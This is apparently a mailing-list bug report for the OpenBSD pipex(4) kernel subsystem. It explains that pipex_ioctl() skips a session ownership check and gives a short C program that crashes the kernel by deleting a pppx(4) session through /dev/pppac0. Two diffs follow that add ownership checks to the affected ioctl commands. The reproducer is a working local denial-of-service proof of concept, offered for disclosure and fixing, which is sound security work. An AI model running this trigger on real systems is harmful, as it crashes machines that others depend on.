pipex(4) has pipex_ioctl() interface for pipex_session related routines. pipex_ioctl() calls should be done with pipex_iface_contex, so any operations should be done with pipex_sessions owned by passed pipex_iface_contex. pipex_session check ownership is missing within pipex_ioctl() so anybody can do pipex_ioctl() commands PIPEXDSESSION, PIPEXCSESSION, PIPEXGSTAT and PIPEXGCLOSED on any pipex_session. PIPEXDSESSION on foreign pppx(4) owned pipex_session will crash kernel. Code to reproduce and screenshot attached below. Diffs below add pipes_session ownrship check to pipex_ioctl() internals.
---- cut begin #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/stat.h> #include <stdio.h> #include <err.h> #include <fcntl.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <netinet/in.h> #include <net/if.h> #include <net/pipex.h> #define PIPEX_CLOSE_TIMEOUT 30 int main(void) { int fd_pppx, fd_pppac; struct pipex_session_req reqa; struct pipex_session_close_req reqd; if((fd_pppx=open("/dev/pppx0", O_RDWR))<0){ err(1, "open(pppx0)"); } if((fd_pppac=open("/dev/pppac0", O_RDWR))<0){ err(1, "open(pppac0)"); } memset(&reqa, 0, sizeof(reqa)); reqa.pr_protocol=PIPEX_PROTO_L2TP; reqa.pr_peer_mru=1024; reqa.pr_local_address.ss_family=AF_INET; reqa.pr_local_address.ss_len=sizeof(struct sockaddr_in); reqa.pr_peer_address.ss_family=AF_INET; reqa.pr_peer_address.ss_len=sizeof(struct sockaddr_in); inet_aton("10.0.0.1", &reqa.pr_ip_srcaddr); inet_aton("10.0.0.2", &reqa.pr_ip_address); inet_aton("255.255.255.255", &reqa.pr_ip_netmask); if(ioctl(fd_pppx, PIPEXASESSION, &reqa)<0){ err(1, "ioctl(fd_pppx, PIPEXASESSION)"); } memset(&reqd, 0, sizeof(reqd)); reqd.pcr_protocol=PIPEX_PROTO_L2TP; if(ioctl(fd_pppac, PIPEXDSESSION, &reqd)<0){ err(1, "ioctl(fd_ppaac, PIPEDSESSION)"); } sleep(PIPEX_CLOSE_TIMEOUT+1); return 0; } ---- cut end This diff fix pipex_ioctl(PIPEXDSESSION) crash issue ---- cut begin diff --git sys/net/pipex.c sys/net/pipex.c index 3da8ed8..22edce3 100644 --- sys/net/pipex.c +++ sys/net/pipex.c @@ -230,7 +230,7 @@ pipex_ioctl(struct pipex_iface_context *pipex_iface, u_long cmd, caddr_t data) case PIPEXDSESSION: ret = pipex_close_session( - (struct pipex_session_close_req *)data); + (struct pipex_session_close_req *)data, pipex_iface); break; case PIPEXCSESSION: @@ -489,7 +489,8 @@ pipex_notify_close_session_all(void) } Static int -pipex_close_session(struct pipex_session_close_req *req) +pipex_close_session(struct pipex_session_close_req *req, + struct pipex_iface_context *iface) { struct pipex_session *session; @@ -498,6 +499,8 @@ pipex_close_session(struct pipex_session_close_req *req) req->pcr_session_id); if (session == NULL) return (EINVAL); + if (session->pipex_iface != iface) + return (EINVAL); /* remove from close_wait list */ if (session->state == PIPEX_STATE_CLOSE_WAIT) diff --git sys/net/pipex_local.h sys/net/pipex_local.h index cf02c8e..ad3c3d3 100644 --- sys/net/pipex_local.h +++ sys/net/pipex_local.h @@ -369,7 +369,8 @@ extern struct pipex_hash_head pipex_id_hashtable[]; void pipex_iface_start (struct pipex_iface_context *); void pipex_iface_stop (struct pipex_iface_context *); int pipex_add_session (struct pipex_session_req *, struct pipex_iface_context *); -int pipex_close_session (struct pipex_session_close_req *); +int pipex_close_session (struct pipex_session_close_req *, + struct pipex_iface_context *); int pipex_config_session (struct pipex_session_config_req *); int pipex_get_stat (struct pipex_session_stat_req *); int pipex_get_closed (struct pipex_session_list_req *); ---- cut end This diff add ownership checks to the rest pipex_ioctl() commands. A few words about pppx_get_closed(): since in-kernel timeout feature was disabled for pppx(4) related pipex_sessions, closed pipex_sessions can't exist in system, so this function is dummy. I have an idea how to reenable this disabled timeout, but some reafactoring requited, and fair pipex_ioctl(PIPEXGCLOSED) call will be restored. ---- cut begin diff --git sys/net/if_pppx.c sys/net/if_pppx.c index 37a6af0..6c4977d 100644 --- sys/net/if_pppx.c +++ sys/net/if_pppx.c @@ -175,6 +175,12 @@ int pppx_add_session(struct pppx_dev *, struct pipex_session_req *); int pppx_del_session(struct pppx_dev *, struct pipex_session_close_req *); +int pppx_config_session(struct pppx_dev *, + struct pipex_session_config_req *); +int pppx_get_stat(struct pppx_dev *, + struct pipex_session_stat_req *); +int pppx_get_closed(struct pppx_dev *, + struct pipex_session_list_req *); int pppx_set_session_descr(struct pppx_dev *, struct pipex_session_descr_req *); @@ -451,16 +457,18 @@ pppxioctl(dev_t dev, u_long cmd, caddr_t addr, int flags, struct proc *p) break; case PIPEXCSESSION: - error = pipex_config_session( + error = pppx_config_session(pxd, (struct pipex_session_config_req *)addr); break; case PIPEXGSTAT: - error = pipex_get_stat((struct pipex_session_stat_req *)addr); + error = pppx_get_stat(pxd, + (struct pipex_session_stat_req *)addr); break; case PIPEXGCLOSED: - error = pipex_get_closed((struct pipex_session_list_req *)addr); + error = pppx_get_closed(pxd, + (struct pipex_session_list_req *)addr); break; case PIPEXSIFDESCR: @@ -947,6 +955,40 @@ pppx_del_session(struct pppx_dev *pxd, struct pipex_session_close_req *req) return (0); } +int +pppx_config_session(struct pppx_dev *pxd, + struct pipex_session_config_req *req) +{ + struct pppx_if *pxi; + + pxi = pppx_if_find(pxd, req->pcr_session_id, req->pcr_protocol); + if (pxi == NULL) + return (EINVAL); + + return pipex_config_session(req, &pxi->pxi_ifcontext); +} + +int +pppx_get_stat(struct pppx_dev *pxd, struct pipex_session_stat_req *req) +{ + struct pppx_if *pxi; + + pxi = pppx_if_find(pxd, req->psr_session_id, req->psr_protocol); + if (pxi == NULL) + return (EINVAL); + + return pipex_get_stat(req, &pxi->pxi_ifcontext); +} + +int +pppx_get_closed(struct pppx_dev *pxd, struct pipex_session_list_req *req) +{ + /* XXX: Only opened sessions exist for pppx(4) */ + memset(req, 0, sizeof(*req)); + + return 0; +} + int pppx_set_session_descr(struct pppx_dev *pxd, struct pipex_session_descr_req *req) diff --git sys/net/pipex.c sys/net/pipex.c index 22edce3..219e18d 100644 --- sys/net/pipex.c +++ sys/net/pipex.c @@ -235,15 +235,17 @@ pipex_ioctl(struct pipex_iface_context *pipex_iface, u_long cmd, caddr_t data) case PIPEXCSESSION: ret = pipex_config_session( - (struct pipex_session_config_req *)data); + (struct pipex_session_config_req *)data, pipex_iface); break; case PIPEXGSTAT: - ret = pipex_get_stat((struct pipex_session_stat_req *)data); + ret = pipex_get_stat((struct pipex_session_stat_req *)data, + pipex_iface); break; case PIPEXGCLOSED: - ret = pipex_get_closed((struct pipex_session_list_req *)data); + ret = pipex_get_closed((struct pipex_session_list_req *)data, + pipex_iface); break; default: @@ -514,7 +516,8 @@ pipex_close_session(struct pipex_session_close_req *req, } Static int -pipex_config_session(struct pipex_session_config_req *req) +pipex_config_session(struct pipex_session_config_req *req, + struct pipex_iface_context *iface) { struct pipex_session *session; @@ -523,36 +526,44 @@ pipex_config_session(struct pipex_session_config_req *req) req->pcr_session_id); if (session == NULL) return (EINVAL); + if (session->pipex_iface != iface) + return (EINVAL); session->ip_forward = req->pcr_ip_forward; return (0); } Static int -pipex_get_stat(struct pipex_session_stat_req *req) +pipex_get_stat(struct pipex_session_stat_req *req, + struct pipex_iface_context *iface) { struct pipex_session *session; NET_ASSERT_LOCKED(); session = pipex_lookup_by_session_id(req->psr_protocol, req->psr_session_id); - if (session == NULL) { + if (session == NULL) + return (EINVAL); + if (session->pipex_iface != iface) return (EINVAL); - } req->psr_stat = session->stat; return (0); } Static int -pipex_get_closed(struct pipex_session_list_req *req) +pipex_get_closed(struct pipex_session_list_req *req, + struct pipex_iface_context *iface) { - struct pipex_session *session; + struct pipex_session *session, *session_next; NET_ASSERT_LOCKED(); bzero(req, sizeof(*req)); - while (!LIST_EMPTY(&pipex_close_wait_list)) { - session = LIST_FIRST(&pipex_close_wait_list); + for (session = LIST_FIRST(&pipex_close_wait_list); + session; session = session_next) { + session_next = LIST_NEXT(session, state_list); + if (session->pipex_iface != iface) + continue; req->plr_ppp_id[req->plr_ppp_id_count++] = session->ppp_id; LIST_REMOVE(session, state_list); session->state = PIPEX_STATE_CLOSE_WAIT2; diff --git sys/net/pipex_local.h sys/net/pipex_local.h index ad3c3d3..c124eb9 100644 --- sys/net/pipex_local.h +++ sys/net/pipex_local.h @@ -371,9 +371,12 @@ void pipex_iface_stop (struct pipex_iface_context *); int pipex_add_session (struct pipex_session_req *, struct pipex_iface_context *); int pipex_close_session (struct pipex_session_close_req *, struct pipex_iface_context *); -int pipex_config_session (struct pipex_session_config_req *); -int pipex_get_stat (struct pipex_session_stat_req *); -int pipex_get_closed (struct pipex_session_list_req *); +int pipex_config_session (struct pipex_session_config_req *, + struct pipex_iface_context *); +int pipex_get_stat (struct pipex_session_stat_req *, + struct pipex_iface_context *); +int pipex_get_closed (struct pipex_session_list_req *, + struct pipex_iface_context *); int pipex_destroy_session (struct pipex_session *); struct pipex_session *pipex_lookup_by_ip_address (struct in_addr); struct pipex_session *pipex_lookup_by_session_id (int, int); ---- cut end